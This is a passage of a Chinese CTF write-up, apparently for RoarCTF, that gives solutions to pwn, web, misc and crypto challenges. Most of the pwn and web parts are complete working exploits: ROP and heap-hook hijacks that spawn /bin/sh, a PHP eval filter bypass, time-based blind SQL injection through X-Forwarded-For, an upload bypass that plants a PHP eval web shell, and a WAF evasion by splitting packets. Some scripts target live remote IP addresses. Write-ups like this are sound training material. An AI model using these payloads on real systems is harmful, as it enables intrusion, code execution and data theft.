edit(2, 0x10, p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x40))
create(0x68)
drop(4)
edit(2, 8, p64(libc_addr + libc.symbols['__free_hook'] - 0x33))
create(0x68)
create(0x68)
edit(5, 0x23 + 8, '' * 0x23 + p64(libc_addr + libc.symbols['system']))
edit(0, 8, '/bin/sh')
drop(0)
sh.interactive()
clear()
### easyrop
明显的栈溢出，通过程序读取文件夹属性的功能来判断靶机环境。然后注意溢出的index即可。程序禁用了execve系统调用，可以直接ROP读取flag或者shellcode读取。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './easyrop'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('39.97.182.233', 32970)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x401B2B
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
pause()
layout = [
0x0000000000400640, # : ret
0x0000000000401b93, # : pop rdi ; ret
elf.got['puts'],
elf.plt['puts'],
0x4019F3, # main
]
sh.sendlineafter('>> ', 'a' * 0x418 + p8(0x28) + flat(layout))
sh.recvuntil('path.n')
result = sh.recvuntil('n', drop=True)
libc_addr = u64(result.ljust(8, '')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
layout = [
0x0000000000401b93, # : pop rdi ; ret
elf.bss(),
libc_addr + libc.symbols['gets'],
0x0000000000401b93, # : pop rdi ; ret
elf.bss() & 0xfffffffffffff000,
libc_addr + 0x0000000000023e6a, #: pop rsi; ret;
0x1000 ,
libc_addr + 0x0000000000001b96, #: pop rdx; ret;
7 ,
libc_addr + libc.symbols['mprotect'],
elf.bss(),
]
sh.sendlineafter('>> ', 'a' * 0x418 + p8(0x28) + flat(layout))
shellcode = asm('''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
jg next
push 1
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
jmp exit
next:
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov edi, 1
mov rsi, rsp
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
sh.sendline(shellcode)
sh.interactive()
clear()
### easyheap
程序并没有开启pie，利用后门函数构造 double free 控制 .bss 段来泄露地址并劫持 hook。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './easyheap'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('39.97.182.233', 41564)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b malloc
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def add(size, content):
sh.sendlineafter('>> ', '1')
sh.sendlineafter('sizen', str(size))
sh.sendafter('contentn', content)
def add2(size, content):
time.sleep(0.1)
sh.sendline('1')
time.sleep(0.1)
sh.send(str(size).ljust(8, ''))
time.sleep(0.1)
sh.send(content)
def free():
sh.sendlineafter('>> ', '2')
sh.sendafter('username:', p64(0) + p64(0x71) + p64(0x602060))
sh.sendafter('info:', p64(0) + p64(0x21))
sh.sendlineafter('>> ', '666')
sh.sendlineafter('free?n', '1')
sh.sendafter('contentn', 'n')
add(0x18, 'n')
sh.sendlineafter('>> ', '666')
sh.sendlineafter('free?n', '2')
add(0x68, 'n')
add(0x68, 'n')
free()
sh.sendlineafter('>> ', '666')
sh.sendlineafter('free?n', '2')
free()
add(0x68, p64(0x602060))
add(0x68, 'n')
add(0x68, 'n')
add(0x68, p64(0x602060) + 'a' * 0x10 + p64(elf.got['puts']) + p64(0xDEADBEEFDEADBEEF))
sh.sendlineafter('>> ', '3')
result = sh.recvuntil('n', drop=True)
libc_addr = u64(result.ljust(8, '')) - 0x6f690
log.success('libc_addr: ' + hex(libc_addr))
main_arena_addr = libc_addr + 0x3c4b20
log.success('main_arena_addr: ' + hex(main_arena_addr))
add2(0x68, p64(main_arena_addr - 0x33))
add2(0x68, 'n')
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add2(0x68, 'b' * 0xb + p64(libc_addr + 0xf1147) + p64(libc_addr + libc.symbols['realloc'] + 20))
# pause()
add2(0x68, 'cat flag >&0n')
sh.interactive()
clear()
### realloc_magic
存在 double free ， 观察 realloc 源码可知当传入的chunk不为空，且size为0的情况下，会free掉原chunk并且返回0。
if (bytes == 0 && oldmem != NULL)
{
__libc_free (oldmem); return 0;
}
利用上面的技巧并配合漏洞劫持 tcache ，然后劫持 stdout， 最后劫持 hook， 由于其中需要爆破两次，所以概率是 1/256 。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './realloc_magic'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('39.97.182.233', 37783)
# elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/gx &realloc_ptr
end
b realloc
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def realloc(size, content):
sh.sendlineafter('>> ', '1')
sh.sendlineafter('?n', str(size))
sh.sendafter('?n', str(content))
def free():
sh.sendlineafter('>> ', '2')
realloc(0x68, 'n')
free()
realloc(0x18, 'n')
realloc(0, '')
realloc(0x48, 'n')
free()
realloc(0, '')
heap_two_byte = random.randint(0, 0xf) * 0x1000 + 0x0010
log.info('heap_two_byte: ' + hex(heap_two_byte))
# realloc(0x68, 'a' * 0x18 + p64(0x201) + p16(0x7010))
realloc(0x68, 'a' * 0x18 + p64(0x201) + p16(heap_two_byte))
realloc(0, '')
realloc(0x48, 'n')
realloc(0, '')
# sh.sendlineafter('>> ', '666')
realloc(0x48, 'xff' * 0x40)
# realloc(0x58, 'a' * 0x18 + '' * 0x20 + p64(0x1f1) + p16(0x7050))
realloc(0x58, 'a' * 0x18 + '' * 0x20 + p64(0x1f1) + p16(heap_two_byte + 0x40))
realloc(0, '')
realloc(0x18, p64(0) + p64(0))
realloc(0, '')
two_byte = random.randint(0, 0xf) * 0x1000 + 0x0760
log.info('two_byte: ' + hex(two_byte))
# realloc(0x1e8, p64(0) * 4 + 'x60x07xdd')
realloc(0x1e8, p64(0) * 4 + p16(two_byte))
realloc(0, '')
realloc(0x58, p64(0xfbad2887 | 0x1000) + p64(0) * 3 +p8(0xc8))
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
sh.sendlineafter('>> ', '666')
realloc(0x1e8, 'a' * 0x18 + p64(libc_addr + libc.symbols['__free_hook'] - 8))
realloc(0, '')
realloc(0x48, '/bin/sh' + p64(libc_addr + libc.symbols['system']))
sh.sendlineafter('>> ', '1')
sh.sendlineafter('?n', str(0))
sh.interactive()
clear()
### ez_op
模拟虚拟机，没有任何防护，直接改 free 的hook 为 system 函数即可，最后留下字符串 sh 为参数就能起shell。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('39.97.182.233', 41610)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x0804A36C
c
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
PUSH = 0x2A3D
POP = 0xFFFF28
GET = -1
ADD = 0
SUB = 0x11111
DIV = 0x514
SET = 0x10101010
system_addr = 0x08051C60
__free_hook_addr = 0x80E09F0
opcode = [
PUSH,
PUSH,
PUSH,
GET,
PUSH,
SUB,
DIV,
SET,
]
payload = ' '.join([str(v) for v in opcode])
sh.sendline(payload)
data = [
system_addr,
4,
67,
__free_hook_addr + 4,
u32('sh'),
]
payload = ' '.join([str(v) for v in data])
sh.sendline(payload)
sh.interactive()
clear()
### checkin
用gmp库实现的RSA算法，参数 e 可控，所以可以控制其在内存中的内容。
利用解密函数泄露出heap地址和libc地址，再根据 realloc 函数的特性劫持 hook 即可。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal, binascii
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './checkin'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/40gx $rebase(0x203040)
end
# b *$rebase(0x1544)
b realloc
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def pull(index, hex):
sh.sendlineafter('choice:', '1')
sh.sendlineafter(':n', str(index))
sh.sendlineafter(':n', hex)
def fire(index):
sh.sendlineafter('choice:', '2')
sh.sendlineafter(':n', str(index))
sh.recvuntil(':n')
return sh.recvuntil('Discard', drop=True)
def bomb():
sh.sendlineafter('choice:', '3')
sh.recvuntil('0x')
return sh.recvuntil('n', drop=True)
pull(9, '01')
pull(12, '01')
pull(0, '11' * 0x58)
pull(1, '22' * 0x58)
fire(0)
fire(1)
result = fire(0)[-8:]
heap_addr = u64(result, endian='big') - 0xb20
log.success('heap_addr: ' + hex(heap_addr))
fire(1)
fire(0)
fire(1)
fire(0)
pull(2, '11' * 0x410)
result = fire(0)[-8:]
libc_addr = u64(result, endian='big') - 0x3ebd00
log.success('libc_addr: ' + hex(libc_addr))
pause()
chunk_addr = p64(libc_addr + libc.symbols['__malloc_hook'] + 0x10 - 0x33, endian='big')
pull(0, binascii.b2a_hex(chunk_addr ))
pull(3, '11' * 0x58)
system = p64(libc_addr + libc.symbols['system'], endian='big')
pull(6, binascii.b2a_hex('/bin/sh'[::-1]))
payload = '00' * 8 + binascii.b2a_hex(system) + '11' * 0xb
payload = payload.rjust(0x58 * 2, '1')
pull(4, payload)
pull(6, '11' * 0x18 + binascii.b2a_hex('/bin/sh'[::-1]))
sh.interactive()
clear()
## web
### easy_calc
这道题刚打开看到是一个计算器功能，一开始以为是ssti。并且发现有个calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']','$','\','^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
发现过滤了一些字符，和国赛的math题有点像，但是奇怪的是这里num输入字符无法解析。也就是说有waf让num参数只能是数字。怎么绕过去呢？
前几天读到一个php的一个字符串解析特性绕过bypass。
<https://www.freebuf.com/articles/web/213359.html>
就是在num前面加个空格等一些字符就能绕过了。
剩下的就很简单了，利用chr()函数绕过特殊字符的限制来进行代码执行读flag。
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
### easy_java
这道题个人感觉就是考了一些java web的一些基础知识。突破点就是弱口令，和一个脑洞filename。
这里的弱口令是admin/admin888,进入后可以看到一个图片images/img1.jpg
但是通过get怎么都无法dowload下这个图片，后来对友说这是个post。
这下就可以了。然后就去读文件了:
base64解密后就是flag
### online_proxy
根据“可能会收集信息”的提示，在 `X-Forwarded-For` 处fuzz出来注入点。
然后就是注入的套路，二分法，时间盲注。然后就是在库里面找flag。。。找了很久才找到。
BTW，ssrf完全没用的。
附上完整注入脚本：
import requests
import string
import random
import time
import sys
url = 'http://*********************.4hou.com.cn:*****/'
def rand_str(length=8):
return ''.join(random.sample(string.ascii_letters + string.digits, length))
def brute_schema(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(table_schema,%d,1) from information_schema.tables group by table_schema limit 4,1)>=char(%d),sleep(1),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 1: return True
return False
def brute_table(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(table_name,%d,1) from information_schema.tables where table_schema='F4l9_D4t4B45e' limit 0,1)>=char(%d),sleep(2),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 2: return True
return False
def brute_column(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(column_name,%d,1) from information_schema.columns where table_name='F4l9_t4b1e' limit 0,1)>=char(%d),sleep(2),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 2: return True
return False
def brute_flag(i, c):
cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
headers = {"X-Forwarded-For": "1' and if(binary(select substr(F4l9_c01umn,%d,1) from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1)>=char(%d),sleep(1),0))#" % (i, ord(c))}
headers["X-Forwarded-For"] += rand_str()
while True:
try:
requests.get(url, headers=headers, cookies=cookies, timeout=3)
except:
continue
break
headers["X-Forwarded-For"] = rand_str()
t1 = 0
t2 = 0
while True:
try:
t1 = time.time()
requests.get(url, headers=headers, cookies=cookies, timeout=3)
t2 = time.time()
except:
continue
break
if t2 - t1 > 1: return True
return False
'''
schema = ''
for i in range(999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_schema(i + 1, chr(m)):
if m == l:
schema += chr(l)
break
l = m
else:
if m == l:
schema += chr(l)
break
r = m
print schema
'''
'''
table = ''
for i in range(999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_table(i + 1, chr(m)):
if m == l:
table += chr(l)
break
l = m
else:
if m == l:
table += chr(l)
break
r = m
print table
'''
'''
column = ''
for i in range(999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_column(i + 1, chr(m)):
if m == l:
column += chr(l)
break
l = m
else:
if m == l:
column += chr(l)
break
r = m
print column
'''
flag = ''
for i in range(len(flag),999):
l = 0
m = 0
r = 0xff
while True:
m = (l + r) / 2
print l, m, r
if brute_flag(i + 1, chr(m)):
if m == l:
flag += chr(l)
break
l = m
else:
if m == l:
flag += chr(l)
break
r = m
print flag
然后拿到假flag：`flag{G1zj1n_W4nt5_4_91r1_Fr1end}`
第二行记录才是真flag：`RoarCTF{wm-fb3a5c2a0093f22a}`
### simple_upload
`thinkphp` 的上传demo，`allowExts` 没啥用，其它格式的文件也能上传。
不过限制了`.php`，仔细看才发现，只有 `$_FILES['file']` 做了限制，所以上传多个文件就能绕过了。
然后文件名默认根据 `uniqid` 生成，同时上传文件，挺相近的，可以爆破一下。
附上上传和爆破文件名的脚本：
import requests
url = "http://***.4hou.com.cn:34133"
path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print t1
t1 = int(t1, 16)
print t1
j = t1
while True:
path = url + "/Public/Uploads/2019-10-13/%s.php" % hex(j)[2:-1]
try:
r = requests.get(path, timeout=1)
except:
continue
if r.status_code != 404:
print path
print r.text
break
print j, hex(j)[2:-1], r.status_code
j -= 1
直接能拿到flag。
### dist
前端源码提供了 `sourceMapping`，在 `webpack:///./src/config.js` 里找到源码包。
// my source code backup:
// /backup-for-debug.7z
后端用 `go` 写的，审计了一下，在 `route/auth.go` 里找到一段。
// double insurance
// also protected by WAF
for _, w := range []string{"delete", "insert", "update"} {
if strings.Contains(strings.ToLower(j.Uname), w) {
c.JSON(200, Msg{-1, "something wrong", nil})
return
}
}
// may be SQLi here
// but dont worry, baby hackers cant break my waf
rows, err := DB.Query(fmt.Sprintf("SELECT pwd FROM users WHERE uname='%s';", j.Uname))
if err != nil {
c.JSON(200, Msg{-1, err.Error(), nil})
return
}
defer rows.Close()
登录时用户名拼接，存在注入，但是过滤了关键词，而且还有waf（`waf/main.go`）。
func tcpWaf(server net.Conn, client net.Conn) bool {
defer func() {
recover()
}()
buf := make([]byte, 4*1024)
for {
nr, er := client.Read(buf)
dataS := bytes.Split(buf[:nr], []byte{13, 10, 13, 10})
// get the request body
// split by CRLFCRLF
data := bytes.Join(dataS[1:], []byte(""))
for _, word := range WAFWORD {
if strings.Contains(strings.ToLower(string(data)), word) {
client.Write([]byte("HTTP/1.1 200rnServer: iWAF/0.0.1rnrninterceptedrnrn"))
return false
}
}
if nr > 0 {
nw, ew := server.Write(buf[0:nr])
if ew != nil {
break
}
if nr != nw {
break
}
}
if er != nil {
break
}
}
return true
}
此处waf可绕过。它以 `rnrn` 分割包，取后面的进行waf过滤，所以建立tcp socket，分包发，就能绕过过滤。
然后可以注入得到 `secret表secret字段` 的内容，用来构造 `cookie`，这样就能登录 `admin` 账号了。
然后审了很久都没审出来如何利用。后来放了提示 `Go slice feature`，网上找到相同的利用点。
[Teaser CONFidence CTF 2019 “The Lottery”
Writeup](https://www.jianshu.com/p/2e3f0018b0d6)
同样的利用方法。
伪造cookie登录admin，start启动casino。然后注册一个普通账号，beg 3次，join 进去 pending
list。回到管理员，addplayer将这个普通账号添加到formal
player。回到普通账号，再beg一次。等5分钟后这一轮casino结束，普通账号查看个人info，就能看到flag。
## Misc
### 黄金六年
首先将文件解压出来得到一个 mp4 的压缩包，常规思路使用 binwalk 分析一下，没有发现什么
strings 分析字符串，发现有一段 base64 编码的字符
尝试进行 base64 解码，会发现是 rar 的压缩包文件
提取到本地，尝试进行解压发现需要密码
在视频中尝试寻找密码，使用 imovie 打开视频文件，在寻找关键帧的时候会发现二维码
总共可以发现四个二维码，扫码之后拼接 key 得到：iwantplayctf
最后解压就得到 flag
flag：roarctf{CTF-from-RuMen-to-RuYuan}
### TankGame
下载以后发现是一个unity 3D的游戏，直接去找Assembly-CSharp.dll文件，用ILspy反编译一下C#的代码，各个函数如下图所示：
在MapManager可以看到地图和flag的生成条件为Destroynum==4或者Destroynum==5时：
地图和游戏的地图是一一对应的，空是8，基地是0，水是4，草地是5，砖块是1
在bullect这个类里可知，砖头和基地可被破坏，破坏后基地会变为9，砖块会变为空也就是8，子弹只有击中砖块或者基地时DestroyNum才会增长，所以直接编写代码爆破DestroyNum为4或者为5时的所有情况。
str1 = str1.replace("0","9")
for i in range(len(x)):
for j in range(i+1, len(x)):
for k in range(j+1, len(x)):
str2 = str1[:x[i]] + '8' + str1[x[i]+1:x[j]] + '8' + str1[x[j]+1:x[k]] + '8' + str1[x[k]+1:]
result = hashlib.sha1(str2).hexdigest()
if result == "3f649f708aafa7a0a94138dc3022f6ea611e8d01":
print str2
结果为:
clearlove9888888888888888888845811111188884882888851888181848858288881884811588888248118818515888885881588881888888188888888181588188188114888881884188518888842888118582851488815189148888888888888811818821885218888888848821182181888118844884248488884881288881881818811588888888188888811528888888828888481828158848888882818818818225888218888284581125888888888888888888
编写脚本并使用程序内置的MD5函数得到结果如下图所示：
### forensic
发现是内存取证，使用Volatility内存取证神器。
首先收集一下信息，在使用mftparser插件时发现了flag.zip 和 flag.rar
`volatility -f mem.raw --profile=Win7SP1x86 mftparser > mft.txt`
内容很多，随查找了一下flag关键字。
继续查找flag关键字，找到了flag.zip 和 flag.rar 的十六进制 dump 下来
在压缩包里发现了flag.txt，接下来思路是找到 压缩包的密码
首先简单看了下图片。
`volatility -f mem.raw --profile=Win7SP1x86 filescan | grep "png|jpg|jpeg"`
filesacn发现在我的文档，图片，文件夹里，有张图片 ，dumpfiles 下来就是flag.zip 的密码，成功拿到flag
在剪贴板中还发现了百度云链接，`https://pan.baidu.com/s/12hQlubfkvdQhASi0dWs_5Q`
后续很多步骤 最后并没有和flag.zip 串起来，就不细说了
## Crypto
### CoinFlip
给了一个ropsten测试链的地址
<https://ropsten.etherscan.io/address/0xF60ADeF7812214eBC746309ccb590A5dBd70fc21>
查看智能合约代码,
只要循环调用Ap()和Transfer()500次就能getflag.
但是有gas限制,分成5次提交.
contract attack {
address attacker ;
function attack() {attacker = msg.sender;}
function start(address victim,address receive) {
for (uint i = 1; i <= 100; i++) {
victim.call(bytes4(keccak256("Ap()")));
victim.call(bytes4(keccak256("Transfer(address,uint256)")),receive, 1000000000000000000);
}
}
}
领取测试币,编译后deploy到测试区块.
transact5次,我这里交易了不止五次..
再compile ,deploy 题目的智能合约.看下余额,大于500就可以拿flag了.
提交base64编码的email地址,
### babyRSA
使用wilson定理得到余数，之后把n分解为三个素数解密文
from gmpy2 import *
import sympy,libnum
A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
e=0x1001
c=38620963949231568493951852806812359956058522979245676395704780066879051018892175913415575431734194586035432099562300809271498658506900105389975586615280808081596988894713047252672924018208747721253303054480800386069769084714127190055658807083226038640292692679215406182331245636616583141043207599068234065117886147748321058731290102675088056205224134057176167818706519201527516421824645801542347535393294450756726281744763656819345306146716190523210020241675468
def wilson(A,B):
P = 1
while (B<=A-2):
P*=B
P%=A
B+=1
return P
p = sympy.nextprime(invert(wilson(A1,B1+1),A1))
q = sympy.nextprime(invert(wilson(A2,B2+1),A2))
r = n/q/p
phi = (p-1)*(q-1)*(r-1)
d = invert(e,phi)
m = pow(c,d,n)
print m
print libnum.n2s(m)
### RSA
n可以直接分解，脚本如下：
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
